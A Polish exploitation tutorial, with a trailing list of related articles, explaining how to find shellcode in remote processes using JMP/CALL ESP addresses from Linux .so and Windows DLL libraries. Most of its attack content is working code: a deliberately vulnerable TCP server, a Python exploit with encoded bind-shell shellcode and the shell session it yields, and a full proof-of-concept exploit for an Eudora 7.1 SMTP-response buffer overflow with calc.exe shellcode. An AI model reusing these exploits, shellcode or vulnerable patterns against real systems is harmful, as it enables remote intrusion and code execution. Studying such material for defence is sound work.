[ Odnajdywanie shellcodu w procesach zdalnych. ]

Wielkość: px
Rozpocząć pokaz od strony:

Download "[ Odnajdywanie shellcodu w procesach zdalnych. ]"

Transkrypt

1 [ Odnajdywanie shellcodu w procesach zdalnych. ] Autor: Krystian Kloskowski (h07) -http://milw0rm.com/author/668 -http://www.h07.int.pl 0x00 [INTRO] Do właściwego zrozumienia treści tego artykułu konieczna jest znajomość podstaw assemblera x86 oraz wiedza ogólna na temat błędów naruszeń pamięci. Z wielu materiałów dostępnych w sieci jak i w ksiąŝkach moŝna dowiedzieć się czym jest przepełnienie bufra oraz jak je wykorzystać. Jednak większość opisów tej techniki włamań opiera się na eksploitacji lokalnej. Eksploitacja zdalna a właściwe odnalezienie shellcodu w aplikacji zdalnej nadal pozostaje niejasne dla wielu początkujących twórców exploitów. Niniejszy artykuł opisuje technikę odnajdywania shellcodu w pamięci procesów zdalnych pracujących pod kontrolą systemów UNIX, Windows. 0x01 [TEORIA] Większość tradycyjnych exploitów lokalnych wykorzystujących błędy w oprogramowaniu UNIX'owym odnajduje shellcode poprzez "strzelanie" w offset lub posługując się adresem zmiennej środowiskowej. Jednak odgadywanie adresu pod którym znajduje się shellcode w procesie zdalnym przyniosłoby marny efekt i byłoby czynnością chaotyczną poniewaŝ nie mielibyśmy dostępu ani do wartości rejestrów procesora ani do zmiennych środowiskowych. Ponadto taka "praktyka" w ogóle nie nadawałaby się do eksploitacji programów pracujących pod kontrolą systemu Windows poniewaŝ Windows opiera się na wątkach pracujących na tych samych danych w obrębie jednego procesu. Jakikolwiek błąd naruszenia pamięci spowodowałby zakończenie całego programu uniemoŝliwiając włamanie. Zatem jak poradzić sobie z tym problemem? Wyobraźmy sobie sytuacje, w której po przepełnieniu bufora adres powrotu został nadpisany adresem rozkazu JMP ESP lub CALL ESP. W takiej sytuacji sterowanie zostanie automatycznie przekazane do kodu znajdującego się na stosie a skuteczność exploitu będzie zaleŝna tylko od jednego czynniku. Jak się domyślacie, czynnikiem tym będzie adres, pod którym znajduje się rozkaz JMP ESP lub CALL ESP. Taki adres określany jest terminem "opcode". 0x02 [UNIX, wykorzystanie "opcodów" z bibliotek.so] Biblioteki.so przechowują "zewnętrzne" funkcje z których mogą korzystać programy pracujące pod kontrolą systemów UNIX. Z punktu widzenia przestrzeni adresowej pierwszy bajt kodu funkcji z biblioteki.so zawsze ładowany jest pod tym samym adresem. Sprawdźmy to.. C]$ echo 'main(){int a = 0;}' > prog1.c C]$ echo 'main(){int a = 0; int b = 1;}' > prog2.c C]$ gcc -o prog1 prog1.c C]$ gcc -o prog2 prog2.c C]$ ldd prog1 linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/tls/libc.so.6 (0x ) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x ) C]$ ldd prog2 linux-gate.so.1 => (0xffffe000)

2 libc.so.6 => /lib/tls/libc.so.6 (0x ) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x ) C]$ objdump -D /lib/ld-linux.so.2 grep "<system_dirs>" 00010c80 <system_dirs>: C]$ gdb prog1 (gdb) break main Breakpoint 1 at 0x (gdb) run Starting program: /home/h07/c/prog1 Breakpoint 1, 0x in main () (gdb) disas system_dirs Dump of assembler code for function system_dirs: 0x40010c80 <system_dirs+0>: das 0x40010c81 <system_dirs+1>: insb (%dx),%es:(%edi) 0x40010c82 <system_dirs+2>: imul $0x73752f00,0x2f(%edx),%esp 0x40010c89 <system_dirs+9>: jb 0x40010cba <undefined_msg+2> 0x40010c8b <system_dirs+11>: insb (%dx),%es:(%edi) 0x40010c8c <system_dirs+12>: imul $0x500,0x2f(%edx),%esp End of assembler dump. C]$ gdb prog2 (gdb) break main Breakpoint 1 at 0x (gdb) run Starting program: /home/h07/c/prog2 Breakpoint 1, 0x in main () (gdb) disas system_dirs Dump of assembler code for function system_dirs: 0x40010c80 <system_dirs+0>: das 0x40010c81 <system_dirs+1>: insb (%dx),%es:(%edi) 0x40010c82 <system_dirs+2>: imul $0x73752f00,0x2f(%edx),%esp 0x40010c89 <system_dirs+9>: jb 0x40010cba <undefined_msg+2> 0x40010c8b <system_dirs+11>: insb (%dx),%es:(%edi) 0x40010c8c <system_dirs+12>: imul $0x500,0x2f(%edx),%esp End of assembler dump. Z powyŝszego przykładu łatwo moŝemy zauwaŝyć, Ŝe w przestrzeniach adresowych dwóch róŝnych programów adres pierwszego rozkazu funkcji system_dirs() jest zawsze taki sam. Fakt ten jest kluczowy poniewaŝ jesli "opcode" będzie znajdował się w bibliotece.so to jego adres zawsze będzie taki sam dla danej dystrybucji systemu dzięki czemu exploit uzyska niezawodność co z kolei daje moŝliwość sprawnego przeprowadzenia ataku zdalnego. Spróbujmy zatem napisać exploit dla poniŝszego serwera, wykorzystując opcode do odnalezienia shellcodu w pamięci. //serv.c #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #define PORT 4444 struct sockaddr_in server, client; char global_buf[4096]; void vuln(char *arg) { char local_buf[256]; strcpy(local_buf, arg); printf("[+] Client request: %s\n", local_buf); } int main(void) { int sock = socket(af_inet, SOCK_STREAM, IPPROTO_TCP); if(sock == -1) {

3 } printf("[-] Socket error\n"); return -1; server.sin_family = AF_INET; server.sin_addr.s_addr = htonl(inaddr_any); server.sin_port = htons(port); int retval = bind(sock, (struct sockaddr *) &server, sizeof(server)); if(retval == -1) { printf("[-] Bind error\n"); close(sock); return -1; } listen(sock, 1); printf("[+] Listening on %d\n", PORT); int len = sizeof(client); int cl = accept(sock, (struct sockaddr *) &client, &len); printf("[+] Connection accepted from %s\n", inet_ntoa(client.sin_addr)); recv(cl, global_buf, sizeof(global_buf) - 1, 0); vuln(global_buf); } close(cl); close(sock); return 0; Jak widać funkcja vuln() serwera podatna jest na przepełnienie bufora. W pierwszej kolejności musimy wyświetlić biblioteki.so uŝywane przez serwer. C]$ gcc -o serv serv.c C]$ ldd serv linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/tls/libc.so.6 (0x ) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x ) Teraz naleŝy znaleźć opcode a właściwie funkcje, w której występuje opcode JMP ESP lub CALL ESP. Do tego celu uŝyjemy narzędzia objdump oraz dowolnego edytora tekstu, któremu zlecimy szukanie rozkazu "call *%esp". Warto przypomnieć, Ŝe narzędzie analizujące objdump oraz debugger gdb posługują się notacją assemblera AT&T, z tąd teŝ dziwny dla niektórych zapis szukanego rozkazu. C]$ objdump -D /lib/ld-linux.so.2 > a.txt C]$ kwrite a.txt 00010cb8 <undefined_msg>: 10cb8: 75 6e jne 10d28 <undefined_msg+0x70> 10cba: e imul $0x2064,%fs:%gs:0x65(%esi),%bp 10cc1: 20 10cc2: jae 10d3d <undefined_msg+0x85> 10cc4: 6d insl (%dx),%es:(%edi) 10cc5: 62 6f 6c bound %ebp,0x6c(%edi) 10cc8: 3a 20 cmp (%eax),%ah... 10cde: add %al,(%eax) 10ce0: ca 4b ff lret $0xff4b 10ce3: ff f7 push %edi 10ce5: 4b dec %ebx 10ce6: ff (bad) 10ce7: ff d4 call *%esp Edytor tekstu odnalazł opcode w funkcji undefined_msg(). MoŜemy teraz przystąpić do odczytania adresu opcode z wirtualnej przestrzeni adresowej procesu serwera. C]$ gdb serv (gdb) break main

4 Breakpoint 1 at 0x80485b9 (gdb) run Starting program: /home/h07/c/serv Breakpoint 1, 0x080485b9 in main () (gdb) disas undefined_msg Dump of assembler code for function undefined_msg: 0x40010cb8 <undefined_msg+0>: jne 0x40010d28 <undefined_msg+112> 0x40010cba <undefined_msg+2>: imul $0x2064,%fs:%gs:0x65(%esi),%bp 0x40010cc2 <undefined_msg+10>: jae 0x40010d3d <undefined_msg+133> 0x40010cc4 <undefined_msg+12>: insl (%dx),%es:(%edi) 0x40010cc5 <undefined_msg+13>: bound %ebp,0x6c(%edi) 0x40010cc8 <undefined_msg+16>: cmp (%eax),%ah 0x40010cca <undefined_msg+18>: add %al,(%eax) 0x40010ccc <undefined_msg+20>: add %al,(%eax) 0x40010cce <undefined_msg+22>: add %al,(%eax) 0x40010cd0 <undefined_msg+24>: add %al,(%eax) 0x40010cd2 <undefined_msg+26>: add %al,(%eax) 0x40010cd4 <undefined_msg+28>: add %al,(%eax) 0x40010cd6 <undefined_msg+30>: add %al,(%eax) 0x40010cd8 <undefined_msg+32>: add %al,(%eax) 0x40010cda <undefined_msg+34>: add %al,(%eax) 0x40010cdc <undefined_msg+36>: add %al,(%eax) 0x40010cde <undefined_msg+38>: add %al,(%eax) 0x40010ce0 <undefined_msg+40>: lret $0xff4b 0x40010ce3 <undefined_msg+43>: push %edi 0x40010ce5 <undefined_msg+45>: dec %ebx 0x40010ce6 <undefined_msg+46>: (bad) 0x40010ce7 <undefined_msg+47>: call *%esp... Bingo, adres 0x40010ce7 jest adresem rozkazu CALL ESP, który przekaŝe sterowanie automatycznie do kodu znajdującego się na stosie. Napisanie exploitu jest tylko formalnością, chociaŝ w sposobie eksploitacji zajdą niewielkie zmiany. Rejestr ESP przechowuje adres wierzchołka stosu. Gdy funkcja kończy swoje działanie i wykonywany jest rozkaz RET to ów rozkaz pobiera adres powrotny z miejsca wskazywanego przez rejestr ESP. Jeśli za sprawą opcodu CALL ESP sterowanie zostanie przekazane na stos to oczywisty staje się fakt, Ŝe shellcode musi znajdować się za adresem powrotnym umieszczonym na stosie, poniewaŝ adres ten wskazywany jest przez rejestr ESP przy wychodzeniu z funkcji. Zawartość bufora tradycyjnych exploitów lokalnych: [NOP's][Shellcode][Return address] Zawartość bufora exploitu wykorzystującego opcode JMP/CALL ESP: [Any_Data][Return address][nop's][shellcode] Metodą prób ustalamy, Ŝe do nadpisania adresu powrotnego funkcji vuln() serwera potrzeba 272 bajtów. Wszystkie te informacje składamy w "całość" pisząc explit.. #!/usr/bin/python from time import sleep from struct import pack from socket import * host = ' ' port = 4444 opcode = 0x40010ce7 # /lib/ld-linux.so.2 <undefined_msg+47>: CALL ESP # linux_ia32_bind (TCP PORT 5555) shellcode = ( "\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x79" "\x40\xb8\xd6\x83\xeb\xfc\xe2\xf4\x48\x9b\xeb\x95\x2a\x2a\xba\xbc" "\x1f\x18\x21\x5f\x98\x8d\x38\x40\x3a\x12\xde\xbe\x6c\xf3\xde\x85" "\xf0\xa1\xd2\xb0\x21\x10\xe9\x80\xf0\xa1\x75\x56\xc9\x26\x69\x35" "\xb4\xc0\xea\x84\x2f\x03\x31\x37\xc9\x26\x75\x56\xea\x2a\xba\x8f" "\xc9\x7f\x75\x56\x30\x39\x41\x66\x72\x12\xd0\xf9\x56\x33\xd0\xbe" "\x56\x22\xd1\xb8\xf0\xa3\xea\x85\xf0\xa1\x75\x56") buf = "A" * 268 buf += pack("<l", opcode) buf += "\x90" * 32

5 buf += shellcode # buf = [A * 268][Return address(opcode)][nop * 32][Shellcode] s = socket(af_inet, SOCK_STREAM) s.connect((host, port)) s.send(buf) sleep(1) s.close() Kod exploitu jest tak prosty, Ŝe nie wymaga tłumaczenia ;] Uruchamiamy serwer i eksploitujemy.. C]$./serv [+] Listening on 4444 C:\>exp.py C:\>nc -v MD5 [ ] 5555 (?) open whoami h07 echo $SHELL /bin/bash Exploit wstrzyknął do procesu serwera shellcode, który dał dostęp do powłoki systemu na porcie TCP Dzięki zastosowaniu opcodu ów exploit uzyskał niezawodność i kaŝdy "atak" na przykładowy serwer zawsze powiedzie się sukcesem bez "zgadywania" adresu i innych tym podobnych praktyk. Jedynym czynnikiem wpływającym na skuteczność exploitu jest sam opcode, który róŝny jest dla róŝnych dystrybucji systemu. 0x03 [WINDOWS, wykorzystanie "opcodów" z bibliotek DLL] Biblioteki DLL znacznie róŝnią się budową od UNIX'owych bibliotek.so jednak idea eksploitacji oprogramowania z uŝyciem "opcodów" w systemie Windows jest analogiczna do systemu UNIX. Istotnym elementem bibliotek DLL jest wirtualny adres względny RVA (Relative Virtual Address). KaŜda funkcja w bibliotece DLL posiada swój adres RVA określający jej względne połoŝenie. Jeśli do adresu pierwszego bajtu pliku załadowanego do pamięci (Image Base) dodamy adres RVA to otrzymamy wirtualny adres funkcji w przestrzeni adresowej procesu (VA - Virtual Address). Dla przykładu pierwszy bajt (Image Base) biblioteki X został załadowany pod adresem 0x Funkcja foo() biblioteki X posiada RVA 4000 zatem jej wirtualny adres (VA) w procesie równy jest 0x (Image Base + RVA = VA) Ale po co to wszystko? Specyficzny sposób adresowania pamięci przez biblioteki DLL wykorzystywany jest przez disassemblery, które sumując Image Base i RVA wyświetlają rzeczywiste adresy wirtualne funkcji bez potrzeby załadowania biblioteki do konkretnego procesu. Fakt ten znacznie ułatwia odnalezienie danego opcodu w bibliotece DLL, sprowadzając sam proces szukania do uŝycia jednego narzędzia (np disassemblera objdump). Równie wygodnym sposobem przeszukiwania bibliotek DLL w poszukiwaniu określonych rozkazów jest uŝycie debuggera OllyDbg lub narzędzia findjmp. Przykład uŝycia programu findjmp: C:\>findjmp shell32.dll ESP > a.txt C:\>more a.txt /E Reg: ESP Scanning shell32.dll for code usable with the ESP register 0x7C9DEA11 push ESP - ret 0x7CA06F76 push ESP - ret 0x7CA58265 jmp ESP 0x7CA62587 call ESP 0x7CA6487B call ESP 0x7CB1289F jmp ESP 0x7CB3C1F6 jmp ESP 0x7CBBD38B call ESP 0x7CBFA14C jmp ESP 0x7CBFB8C4 call ESP 0x7CC00AC4 call ESP 0x7CC00EB0 call ESP

6 0x7CC00FE8... jmp ESP Przykładowy exploit wykorzystujący opcode JMP ESP i wstrzykujący shellcode do procesu programu pocztowego Eudora 7.1 pracującego pod kontrolą systemu Windows XP SP2.. #!/usr/bin/python # Eudora 7.1 SMTP Response 0day Remote Buffer Overflow PoC Exploit # Bug discovered by Krystian Kloskowski (h07) # Tested on Eudora / XP SP2 Polish # Shellcode type: Windows Execute Command (calc.exe) # Note:.. # This vulnerability can be exploited only if user # will ignore warning about "buffer overflow" error. ## from struct import pack from time import sleep from socket import * bind_addr = ' ' bind_port = 25 shellcode = ( "\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8" "\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1" "\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07" "\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25" "\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5" "\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d" "\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4" "\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0" "\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c" "\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b" "\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4") opcode = 0x7CA58265 # JMP ESP (SHELL32.DLL / XP SP2 Polish) buf = "250-" buf += "A" * 76 buf += pack("<l", opcode) buf += "\x90" * 32 buf += shellcode buf += "\r\n" s = socket(af_inet, SOCK_STREAM) s.bind((bind_addr, bind_port)) s.listen(1) print "Listening on %s:%d..." % (bind_addr, bind_port) cl, addr = s.accept() print "Connected accepted from: %s" % (addr[0]) cl.send('220 Dupa Jasia\r\n') print cl.recv(1024)[:-1] cl.send(buf) sleep(1) cl.close() s.close() print "Done" # EoF # milw0rm.com [ ] Myślę, Ŝe kod exploitu nie wymaga tłumaczenia poniewaŝ jego sposób działania jest analogiczny do exploitu zaprezentowanego w poprzednim podpunkcie tego artykułu. 0x04 [OUTRO] Warto wspomnieć, Ŝe istnieją jeszcze inne grupy rozkazów, które mogą być wykorzystane do przekazania sterowania w odpowiednie miejsce. Na przykład moŝe zdarzyć się, Ŝe podczas przepełnienia bufora rejestr ECX wskazuje adres bufora z shellcodem. W takim wypadku moŝna nadpisać

7 adres powrotu adresem rozkazu CALL ECX co w rezultacie przekaŝe sterowanie wprost do shellcodu. "Opcode" PUSH ECX RET dałby taki sam efekt. Przykładem "opcodów egzotycznych" jest blok rozkazów POP POP RET. Taka kombinacja rozkazów pozawala na przekazanie sterowania na stos tuŝ za nadpisanymi wskaźnikami procedur obsługi wyjątków. Metoda ta bardzo często stosowana jest przy tworzeniu exploitów wykorzystujących przepełnienia bufora w usługach DCE-RPC systemu Windows. Artykuł ten jest dość "lajtowy" ale na pewno pomoŝe on zrozumieć techniki odnajdywania shellcodu w pamięci procesów zdalnych wszystkim początkującym twórcom exploitów. 0x05 [LINKI] OllyDbg - Findjmp - Windows Opcode Database - Variations in Exploit methods between Linux and Windows - https://www.blackhat.com/presentations/bh-usa-03/bhus-03-litchfield-paper.pdf More info about buffer overflow in Eudora 7.1 (CVE ) - EoF;

Buffer Overflow w Windows, symulacja włamania do systemu z wykorzystaniem błędu usługi sieciowej. by h07 (h07@interia.pl)

Buffer Overflow w Windows, symulacja włamania do systemu z wykorzystaniem błędu usługi sieciowej. by h07 (h07@interia.pl) Buffer Overflow w Windows, symulacja włamania do systemu z wykorzystaniem błędu usługi sieciowej. by h07 (h07@interia.pl) Intro Większość exploitów wykorzystujących przepełnienie bufora na stosie nadpisuje

Bardziej szczegółowo

Buffer Overflow (art. 2) by h07 (h07@interia.pl)

Buffer Overflow (art. 2) by h07 (h07@interia.pl) Buffer Overflow (art. 2) by h07 (h07@interia.pl) Intro Artykuł ten kierowany jest do osób znających podstawy języków programowania C i Assembler a takŝe architektury systemu Linux i sposobów zarządzania

Bardziej szczegółowo

Krótkie wprowadzenie do korzystania z OpenSSL

Krótkie wprowadzenie do korzystania z OpenSSL Krótkie wprowadzenie do korzystania z OpenSSL Literatura: http://www.openssl.org E. Rescola, "An introduction to OpenSSL Programming (PartI)" (http://www.linuxjournal.com/article/4822) "An introduction

Bardziej szczegółowo

Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl)

Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl) Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl) char *index[6]; index[0] = "Intro"; index[1] = "Zaczynamy"; index[2] = "Hello world?!"; index[3] = "Shellcode tworzący

Bardziej szczegółowo

Błędy łańcuchów formatujących (format string) by h07 (h07@interia.pl)

Błędy łańcuchów formatujących (format string) by h07 (h07@interia.pl) Błędy łańcuchów formatujących (format string) by h07 (h07@interia.pl) Intro. Łańcuchy formatujące umieszczone w funkcjach z rodziny printf() (lub innych funkcjach, których parametrem jest łańcuch formatujący)

Bardziej szczegółowo

Optymalizacja szelkodów w Linuksie

Optymalizacja szelkodów w Linuksie Optymalizacja szelkodów w Linuksie Michał Piotrowski Artykuł opublikowany w numerze 4/2005 magazynu hakin9. Zapraszamy do lektury całego magazynu. Wszystkie prawa zastrzeżone. Bezpłatne kopiowanie i rozpowszechnianie

Bardziej szczegółowo

Architektura typu klient serwer: przesyłanie pliku tekstowo oraz logowania do serwera za pomocą szyfrowanego hasła

Architektura typu klient serwer: przesyłanie pliku tekstowo oraz logowania do serwera za pomocą szyfrowanego hasła Architektura typu klient serwer: przesyłanie pliku tekstowo oraz logowania do serwera za pomocą szyfrowanego hasła Wydział Inżynierii Mechanicznej i Informatyki Instytut Informatyki Teoretycznej i Stosowanej

Bardziej szczegółowo

[ Programowe tunelowanie połączeń TCP. ]

[ Programowe tunelowanie połączeń TCP. ] [ Programowe tunelowanie połączeń TCP. ] Autor: Krystian Kloskowski (h07) -http://milw0rm.com/author/668 -http://www.h07.int.pl 0x00 [INTRO] Art ten jak zwykle kierowany jest do osób,

Bardziej szczegółowo

Programowanie sieciowe

Programowanie sieciowe Programowanie sieciowe dr Tomasz Tyrakowski Dyż ury: wtorki 12:00 13:00 czwartki 14:00 15:00 pokój B4-5 e-mail: ttomek@amu.edu.pl materiały: http://www.amu.edu.pl/~ttomek 1 Wymagania podstawowa znajomość

Bardziej szczegółowo

Podstawowe typy serwerów

Podstawowe typy serwerów Podstawowe typy serwerów 1. Algorytm serwera. 2. Cztery podstawowe typy serwerów. iteracyjne, współbieżne, połączeniowe, bezpołączeniowe. 3. Problem zakleszczenia serwera. 1 Algorytm serwera 1. Utworzenie

Bardziej szczegółowo

Programowanie przy użyciu gniazdek

Programowanie przy użyciu gniazdek Programowanie przy użyciu gniazdek Gniazdo (ang. socket) pojęcie abstrakcyjne reprezentujące dwukierunkowy punkt końcowy połączenia. Dwukierunkowość oznacza możliwość wysyłania i przyjmowania danych. Wykorzystywane

Bardziej szczegółowo

SUMA KONTROLNA (icmp_cksum) NUMER KOLEJNY (icmp_seq)

SUMA KONTROLNA (icmp_cksum) NUMER KOLEJNY (icmp_seq) Program my_ping: wysłanie komunikatu ICMP z żądaniem echa Struktura icmp (plik netinet/ip_icmp.h) 0 7 8 15 16 31 TYP (icmp_type) KOD (icmp_code) IDENTYFIKATOR (icmp_id) SUMA KONTROLNA (icmp_cksum) NUMER

Bardziej szczegółowo

Architektura typu klient serwer: uproszczony klient POP3

Architektura typu klient serwer: uproszczony klient POP3 Architektura typu klient serwer: uproszczony klient POP3 Wydział Inżynierii Mechanicznej i Informatyki Instytut Informatyki Teoretycznej i Stosowanej dr inż. Łukasz Szustak Składniki systemu poczty e-mail

Bardziej szczegółowo

4 Literatura. c Dr inż. Ignacy Pardyka (Inf.UJK) ASK MP.01 Rok akad. 2011/2012 2 / 24

4 Literatura. c Dr inż. Ignacy Pardyka (Inf.UJK) ASK MP.01 Rok akad. 2011/2012 2 / 24 Wymagania proceduralnych języków wysokiego poziomu ARCHITEKTURA SYSTEMÓW KOMPUTEROWYCH modele programowe procesorów ASK MP.01 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad.

Bardziej szczegółowo

Programowanie Niskopoziomowe

Programowanie Niskopoziomowe Programowanie Niskopoziomowe Wykład 8: Procedury Dr inż. Marek Mika Państwowa Wyższa Szkoła Zawodowa im. Jana Amosa Komeńskiego W Lesznie Plan Wstęp Linkowanie z bibliotekami zewnętrznymi Operacje na stosie

Bardziej szczegółowo

2. Interfejs gniazd. 2.1. Gniazdo

2. Interfejs gniazd. 2.1. Gniazdo 2. 2.1. Gniazdo Gniazdo (ang. socket): pewna abstrakcja wykorzystywana do wysyłania lub otrzymywania danych z innych procesów. Pełni rolę punktu końcowego w linii komunikacyjnej. to interfejs między programem

Bardziej szczegółowo

Wstęp do Programowania, laboratorium 02

Wstęp do Programowania, laboratorium 02 Wstęp do Programowania, laboratorium 02 Zadanie 1. Napisać program pobierający dwie liczby całkowite i wypisujący na ekran największą z nich. Zadanie 2. Napisać program pobierający trzy liczby całkowite

Bardziej szczegółowo

Omijanie firewalli w systemach Windows ---warsztaty --- Mateusz Drygas, Marcin Jerzak, Jakub Tomaszewski, Zespół Bezpieczeństwa PCSS Poznań, 18.06 06.2009 1 Agenda 10:00 Rozpoczęcie, powitanie uczestników,

Bardziej szczegółowo

Ćwiczenie nr 6. Programowanie mieszane

Ćwiczenie nr 6. Programowanie mieszane Ćwiczenie nr 6 Programowanie mieszane 6.1 Wstęp Współczesne języki programowania posiadają bardzo rozbudowane elementy językowe, co pozwala w większości przypadków na zdefiniowanie całego kodu programu

Bardziej szczegółowo

FUNKCJE WZORCOWE. Wykład 10. Programowanie Obiektowe (język C++) Funkcje wzorcowe wprowadzenie (2) Funkcje wzorcowe wprowadzenie (1)

FUNKCJE WZORCOWE. Wykład 10. Programowanie Obiektowe (język C++) Funkcje wzorcowe wprowadzenie (2) Funkcje wzorcowe wprowadzenie (1) Programowanie Obiektowe (język C++) Wykład 10. FUNKCJE WZORCOWE Funkcje wzorcowe wprowadzenie (1) Funkcje wzorcowe wprowadzenie (2) int max ( int a, int b ) return a>b? a : b; Aby mieć analogiczną funkcję

Bardziej szczegółowo

Komputery i Systemy Równoległe Jędrzej Ułasiewicz 1

Komputery i Systemy Równoległe Jędrzej Ułasiewicz 1 Komputery i Systemy Równoległe Jędrzej Ułasiewicz 1 1 Interfejs gniazdek Jednolity interfejs API (Application Program Interface) do mechanizmów komunikacji sieciowej. Wprowadzony w wersji Unixa BSD 4.2

Bardziej szczegółowo

Model OSI/ISO. Komputer B. Warstwy w modelu OSI aplikacji. aplikacji. prezentacji Komputer A. prezentacji. sesji. sesji. komunikacja wirtualna

Model OSI/ISO. Komputer B. Warstwy w modelu OSI aplikacji. aplikacji. prezentacji Komputer A. prezentacji. sesji. sesji. komunikacja wirtualna 1 Plan wykładu 1. Model ISO/OSI warstwy modelu OSI transmisja w modelu OSI 2. Model TCP/IP protokół UDP protokół TCP 3. Połączenie i rozłączenie w TCP 4. Programowanie z wykorzystaniem gniazd. 2 Model

Bardziej szczegółowo

Pobieranie argumentów wiersza polecenia

Pobieranie argumentów wiersza polecenia Pobieranie argumentów wiersza polecenia 2. Argumenty wiersza polecenia Lista argumentów Lista argumentów zawiera cały wiersz poleceń, łącznie z nazwą programu i wszystkimi dostarczonymi argumentami. Przykłady:

Bardziej szczegółowo

RULE SET BASED ACCESS CONTROL. Paweł Bylina (pako@overflow.pl)

RULE SET BASED ACCESS CONTROL. Paweł Bylina (pako@overflow.pl) RULE SET BASED ACCESS CONTROL Paweł Bylina (pako@overflow.pl) Plan wykładu. Czym jest RSBAC? Moduł AUTH. Moduł UM. Moduł RC. Moduł ACL. Moduł CAP. Co jeszcze? Implementacja polityki bezpieczeństwa dla

Bardziej szczegółowo

PROGRAMOWANIE NISKOPOZIOMOWE. Adresowanie pośrednie rejestrowe. Stos PN.04. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

PROGRAMOWANIE NISKOPOZIOMOWE. Adresowanie pośrednie rejestrowe. Stos PN.04. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012 PROGRAMOWANIE NISKOPOZIOMOWE PN.04 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 1 2 3 Ćwiczenia laboratoryjne c Dr inż. Ignacy Pardyka (Inf.UJK) PN.04 Rok akad.

Bardziej szczegółowo

Analiza malware Remote Administration Tool (RAT) DarkComet BeSTi@

Analiza malware Remote Administration Tool (RAT) DarkComet BeSTi@ Analiza malware Remote Administration Tool (RAT) DarkComet BeSTi@ 24 marzec, 2014 Wstęp Tydzień temu do wielu skrzynek pocztowych w Polsce trafił email z linkiem do pliku podszywającego się pod nową aktualizację

Bardziej szczegółowo

Przepełnienie bufora. Trochę historii Definicja problemu Mechanizm działania Przyczyny Źródła (coś do poczytania)

Przepełnienie bufora. Trochę historii Definicja problemu Mechanizm działania Przyczyny Źródła (coś do poczytania) Przepełnienie bufora Trochę historii Definicja problemu Mechanizm działania Przyczyny Źródła (coś do poczytania) Historia ważniejsze wydarzenia 1988 Morris worm, wykorzystywał m.in. przepełnienie bufora

Bardziej szczegółowo

Łącza nienazwane(potoki) Łącza nienazwane mogą być używane tylko pomiędzy procesami ze sobą powiązanymi.

Łącza nienazwane(potoki) Łącza nienazwane mogą być używane tylko pomiędzy procesami ze sobą powiązanymi. Przykład: $ ls more Łącza nienazwane(potoki) Łącza nienazwane mogą być używane tylko pomiędzy procesami ze sobą powiązanymi. Tworzenie łącza #include int pipe(int filedes[2]); Przykład: int

Bardziej szczegółowo

Ćwiczenie 3. Konwersja liczb binarnych

Ćwiczenie 3. Konwersja liczb binarnych 1 Laboratorium Architektury Komputerów Ćwiczenie 3 Konwersja liczb binarnych Komputery wykonują operacje przetwarzania danych na wartościach binarnych, podczas gdy współczesna cywilizacja posługuje się

Bardziej szczegółowo

Testy penetracyjne Przykłady programów

Testy penetracyjne Przykłady programów Bezpieczeństwo systemów informatycznych Testy penetracyjne Przykłady programów Zbigniew Suski 1 Rekonesans - przykłady Zbigniew Suski 2 Rekonesans - przykłady Zbigniew Suski 3 Rekonesans - przykłady Zbigniew

Bardziej szczegółowo

Programowanie aplikacji równoległych i rozproszonych. Wykład 4

Programowanie aplikacji równoległych i rozproszonych. Wykład 4 Wykład 4 p. 1/44 Programowanie aplikacji równoległych i rozproszonych Wykład 4 Dr inż. Tomasz Olas olas@icis.pcz.pl Instytut Informatyki Teoretycznej i Stosowanej Politechnika Częstochowska Gniazda - Wstęp

Bardziej szczegółowo

Gniazda. S. Samolej: Gniazda 1

Gniazda. S. Samolej: Gniazda 1 Gniazda dr inż. Sławomir Samolej Katedra Informatyki i Automatyki Politechnika Rzeszowska Program przedmiotu oparto w części na materiałach opublikowanych na: http://wazniak.mimuw.edu.pl/ oraz na materiałach

Bardziej szczegółowo

Wykorzystanie protokołu SCEP do zarządzania certyfikatami cyfrowymi w systemie zabezpieczeń Check Point NGX

Wykorzystanie protokołu SCEP do zarządzania certyfikatami cyfrowymi w systemie zabezpieczeń Check Point NGX Wykorzystanie protokołu SCEP do zarządzania certyfikatami cyfrowymi w systemie zabezpieczeń Check Point NGX 1. Wstęp Protokół SCEP (Simple Certificate Enrollment Protocol) został zaprojektowany przez czołowego

Bardziej szczegółowo

Sieciowa komunikacja procesów - XDR i RPC

